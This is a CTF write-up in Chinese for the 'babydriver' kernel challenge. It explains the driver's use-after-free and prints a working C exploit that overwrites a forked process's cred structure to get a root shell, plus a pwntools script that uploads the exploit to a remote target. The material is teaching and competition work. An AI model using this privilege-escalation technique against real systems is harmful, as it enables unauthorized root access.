ciscn_babydriver-kernel_pwn解题一般过程


分析

查看boot.sh,开启了smep用户代码不可执行

#!/bin/bash

qemu-system-x86_64 \
        -initrd rootfs.cpio \
        -kernel bzImage \
        -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
        -monitor /dev/null \
        -m 128M \
        -nographic  \
        -smp cores=1,threads=1 \
        -cpu kvm64,+smep \
        -s

运行./boot.sh,查看权限是ctf,需要提权到root

/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ cd /home/ctf
~ $ ls
~ $ 

先解包rootfs.cpio得到驱动

mkdir File_system
⚡  mv rootfs.cpio ./File_system/rootfs.cpio.gz
⚡  cd File_system
⚡  gunzip rootfs.cpio.gz
⚡  cpio -idmv < rootfs.cpio

查看文件系统里的init文件,发现root权限才能查看flag,内核版本是4.4.72

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

找到ko文件,在File_system/lib/modules/4.4.72/babydriver.ko,查看文件信息,开了NX

file babydriver.ko      
babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
⚡  checksec babydriver.ko 
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

分析程序,完全没学过,丢给gpt

int __cdecl babydriver_init()
{
  int v0; // 用于存储返回值或错误码
  int v1; // 用于存储返回值或错误码
  class *v2; // 用于存储设备类指针
  __int64 v3; // 用于存储返回值或错误码

  // 分配字符设备的主设备号,并将其存储在 babydev_no 变量中
  if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
  {
    // 初始化字符设备 cdev_0,并将其关联的文件操作结构体 fops 设置为 &fops
    cdev_init(&cdev_0, &fops);
    // 将字符设备的所有者指定为当前内核模块
    cdev_0.owner = &_this_module;
    // 向系统添加字符设备 cdev_0,使用分配的主设备号 babydev_no,并指定设备数为1
    v1 = cdev_add(&cdev_0, babydev_no, 1LL);
    // 如果添加成功,则返回值大于等于0
    if ( v1 >= 0 )
    {
      // 创建一个设备类,名称为 "babydev",并将其与主设备号 babydev_no 相关联
      v2 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
      babydev_class = v2;
      // 如果设备类创建成功
      if ( v2 )
      {
        // 在 /dev 目录下创建一个设备节点,名称为 "babydev",并将其与设备类 v2 和主设备号 babydev_no 相关联
        v3 = device_create(v2, 0LL, babydev_no, 0LL, "babydev");
        v0 = 0;
        // 如果设备节点创建成功,则返回0
        if ( v3 )
          return v0;
        // 输出内核信息日志,表示设备节点创建失败
        printk(&unk_351);
        // 销毁之前创建的设备类
        class_destroy(babydev_class);
      }
      else
      {
        // 输出内核信息日志,表示设备类创建失败
        printk(&unk_33B);
      }
      // 从内核中删除字符设备
      cdev_del(&cdev_0);
    }
    else
    {
      // 输出内核信息日志,表示添加字符设备失败
      printk(&unk_327);
    }
    // 注销之前分配的字符设备号
    unregister_chrdev_region(babydev_no, 1LL);
    return v1;
  }
  // 输出内核信息日志,表示分配字符设备的主设备号失败
  printk(&unk_309);
  return 1;
}

该函数用于进行初始化来设置参数,分配字符设备的主设备号babydev_no,使用分配的主设备号添加字符设备cdev_0,创建名称为 babydev的设备类并与主设备号相关联,**/dev**目录下创建一个名称为babydev的设备节点并将其与设备类和主设备号相关联,以上全部成功则return 0,否则销毁前面步骤的结果并输出错误信息

void __cdecl babydriver_exit()
{
  // 销毁设备节点
  device_destroy(babydev_class, babydev_no);
  // 销毁设备类
  class_destroy(babydev_class);
  // 从内核中删除字符设备
  cdev_del(&cdev_0);
  // 注销之前分配的字符设备号
  unregister_chrdev_region(babydev_no, 1LL);
}

该函数主要就是在退出时收回init时创建的设备

int __fastcall babyopen(inode *inode, file *filp)
{
  // 分配内核缓冲区内存
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
  // 设置内核缓冲区长度
  babydev_struct.device_buf_len = 64LL;
  // 输出设备打开信息
  printk("device open\n");
  return 0;
}

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  // 输出文件读取信息
  _fentry__(filp, buffer);
  // 如果设备缓冲区为空,则返回错误码
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  // 如果设备缓冲区长度大于指定长度
  if ( babydev_struct.device_buf_len > v4 )
  {
    // 将数据从内核缓冲区复制到用户缓冲区
    v6 = v4;
    copy_to_user(buffer);
    return v6;
  }
  return result;
}

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  // 输出文件写入信息
  _fentry__(filp, buffer);
  // 如果设备缓冲区为空,则返回错误码
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  // 如果设备缓冲区长度大于指定长度
  if ( babydev_struct.device_buf_len > v4 )
  {
    // 将数据从用户缓冲区复制到内核缓冲区
    v6 = v4;
    copy_from_user();
    return v6;
  }
  return result;
}

和正常orw感觉差不多,openbabydev_struct分配内存

int __fastcall babyrelease(inode *inode, file *filp)
{
  // 输出设备释放信息
  _fentry__(inode, filp);
  // 释放设备缓冲区
  kfree(babydev_struct.device_buf);
  printk("device release\n");
  return 0;
}

类似free,对babydev_struct释放内存

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx

  // 输出ioctl操作信息
  _fentry__(filp, command);
  v4 = v3;
  // 如果命令为0x10001
  if ( command == 0x10001 )
  {
    // 释放原有的设备缓冲区
    kfree(babydev_struct.device_buf);
    // 重新分配设备缓冲区
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    // 设置设备缓冲区长度
    babydev_struct.device_buf_len = v4;
    // 输出分配完成信息
    printk("alloc done\n");
    return 0LL;
  }
  else
  {
    // 输出未知命令信息
    printk(&unk_2EB);
    return -22LL;
  }
}

ioctl 函数是用于进行设备 I/O 控制的系统调用,它允许用户空间程序与设备驱动程序进行通信,以控制设备的各种操作

函数原型:

cCopy code
int ioctl(int fd, unsigned long request, ...);

参数解释:

  • fd:文件描述符,用于标识要进行 I/O 控制的设备。
  • request:无符号长整型参数,用于指定要执行的操作或控制命令。
  • ...:可选参数,用于传递与 request 相关的数据或结构体。参数类型和数量取决于所执行的具体操作。

参数详解:

  • fd:文件描述符通常是通过文件打开操作(例如 open 函数)获得的,用于标识要进行 I/O 控制的设备。
  • request:这是一个无符号长整型参数,通常是一个设备特定的控制命令或操作码。ioctl 函数的具体行为由 request 参数确定,每个设备驱动程序都会定义一组支持的 request 值,以便用户程序能够控制设备的各种操作。
  • ...:这是一个可选的参数列表,用于传递与 request 相关的数据或结构体。具体的参数类型和数量取决于所执行的具体操作。例如,如果 request 是用于设置设备参数的命令,则后续参数可能是一个指向包含新参数值的结构体的指针。

返回值:

  • ioctl 函数执行成功时返回 0,否则返回 -1,并设置 errno 表示错误类型。

题目中的该函数三个参数分别是文件描述符、操作码、缓冲区长度

调试

漏洞点出在uaf,即释放之后没有清零,具体利用暂且不谈,本篇仅学习kernel pwn的一般过程,以下是exp

#include<stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include<fcntl.h>
#include <unistd.h>

int main(int argc, char **argv){
    int fd1,fd2,id;
    char cred[0xa8] = {0};
    fd1 = open("dev/babydev",O_RDWR);
    fd2 = open("dev/babydev",O_RDWR);
    ioctl(fd1,0x10001,0xa8);
    close(fd1);
    id = fork();
    if(id == 0){
        write(fd2,cred,28);
        if(getuid() == 0){
            printf("[*]welcome root:\n");
            system("/bin/sh");
            return 0;
        }
    }
    else if(id < 0){
        printf("[*]fork fail\n");
    }
    else{
        wait(NULL);
    }
    close(fd2);
    return 0;
}

在解压的文件系统中写入expc程序并且静态编译kernel 不提供标准库)再打包,再次启动就有了exp,执行之后就可以提权了

find . | cpio -o --format=newc > ../rootfs.cpio

运行结果

cat flag
cat: can't open 'flag': Permission denied
/ $ ./exp
[   10.489723] device open
[   10.492086] device open
[   10.492300] alloc done
[   10.493707] device release
[*]welcome root:
/ # cat flag
flag{test}

安装vmlinux-to-elf来得到有调试符号的bzImagepython3>3.5

sudo pip3 install --upgrade lz4 git+https://github.com/marin-m/vmlinux-to-elf

使用

vmlinux-to-elf bzImage vmlinux

运行结果

⚡  vmlinux-to-elf bzImage vmlinux
[+] Kernel successfully decompressed in-memory (the offsets that follow will be given relative to the decompressed binary)
[+] Version string: Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #1 SMP Thu Jun 15 19:52:50 PDT 2017
[+] Guessed architecture: x86_64 successfully in 2.60 seconds
[+] Found kallsyms_token_table at file offset 0x00eafe70
[+] Found kallsyms_token_index at file offset 0x00eb0210
[+] Found kallsyms_markers at file offset 0x00eaf318
[+] Found kallsyms_names at file offset 0x00d99480
[+] Found kallsyms_num_syms at file offset 0x00d99478
[i] Null addresses overall: 0.00215239 %
[+] Found kallsyms_addresses at file offset 0x00ce3cb8
[+] Successfully wrote the new ELF kernel to vmlinux
⚡  ls
boot.sh  bzImage  disk.flag.img  File_system  rootfs.cpio  vmlinux

使用gdb调试

gdb -q -ex "target remote localhost:1234"
set architecture i386:x86-64
add-symbol-file vmlinux

./boot.sh

c	# 先 continue, 在 insmod 之后手动 Ctrl+C 再设置断点,免得断点处于 pending 状态

add-symbol-file babydriver.ko 0xffffffffc0000000	#kernel shell中lsmod

b babyread
b babywrite
b babyioctl
b babyopen
b babyrelease

c

./exp

远程攻击

脚本

import sys
import os
from pwn import *
import string
 
context.log_level='debug'

r = remote('ip', port)
 
def send_cmd(cmd):
    r.sendlineafter('$ ', cmd)
 
def upload():
    lg = log.progress('Upload')
    with open('exp', 'rb') as f:
        data = f.read()
    encoded = base64.b64encode(data)
    encoded = str(encoded)[2:-1]
    for i in range(0, len(encoded), 300):
        lg.status('%d / %d' % (i, len(encoded)))
        send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
    send_cmd('cat benc | base64 -d > bout')
    send_cmd('chmod +x bout')
    lg.success()
 
os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()
 
r.interactive()

终端设备类型简介

Linux/dev 目录下,终端设备文件通常有以下几种(不同版本linux中不一定都存在):

/dev/ttySn-串行端口终端

用于与串行端口连接的终端设备,类似于 Windows 下的 COM

/dev/tty-控制终端

当前进程的控制终端设备文件,类似于符号链接,会具体对应至某个实际终端文件

相关指令:

tty:查看具体对应的终端设备

ps -ax:查看进程与控制终端的映射关系

-append 'console=ttyS0qemu中设置 linux kernel tty 映射至 /dev/ttySn

/dev/ttyN & /dev/console-虚拟终端与控制台

Linux 系统中,计算机显示器通常被称为控制台终端 (Console),而在 linux 初始字符界面下,为了同时处理多任务,自然需要多个终端的切换,这些终端由于是用软件来模拟以前硬件的方式,是虚拟出来的,因此也称为虚拟终端

控制台是直接和计算机相连接的原生设备,终端是通过电缆、网络等等和主机连接的设备

我们日常所使用的图形界面下的终端,属于某个虚拟图形终端界面下的多个伪终端,可以通过 Ctrl+Alt+FxFx 表示切换至第 x 个终端,例如 F1)来切换虚拟终端,tty0是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上,默认情况下,F1-F6均为字符终端界面,F7-F12为图形终端界面

/dev/pty-伪终端

伪终端(Pseudo Terminal)是成对的逻辑终端设备,其行为与普通终端非常相似,所不同的是伪终端没有对应的硬件设备,主要目的是实现双向信道,为其他程序提供终端形式的接口,当我们远程连接到主机时,与主机进行交互的终端的类型就是伪终端,而且日常使用的图形界面中的多个终端也全都是伪终端。

伪终端的两个终端设备分别称为 master 设备和 slave 设备,其中 slave 设备的行为与普通终端无异,当某个程序把某个 master 设备看作终端设备并进行读写,则该读写操作将实际反应至该逻辑终端设备所对应的另一个 slave 设备。通常 slave 设备也会被其他程序用于读写

其他终端 (/dev/ttyprintk等)

这类终端通常是用于特殊的目的,例如/dev/ttyprintk直接与内核缓冲区相连

参考文章

https://kiprey.github.io/2021/10/kernel_pwn_introduction

https://bbs.kanxue.com/thread-276403.htm#msg_header_h2_5


  目录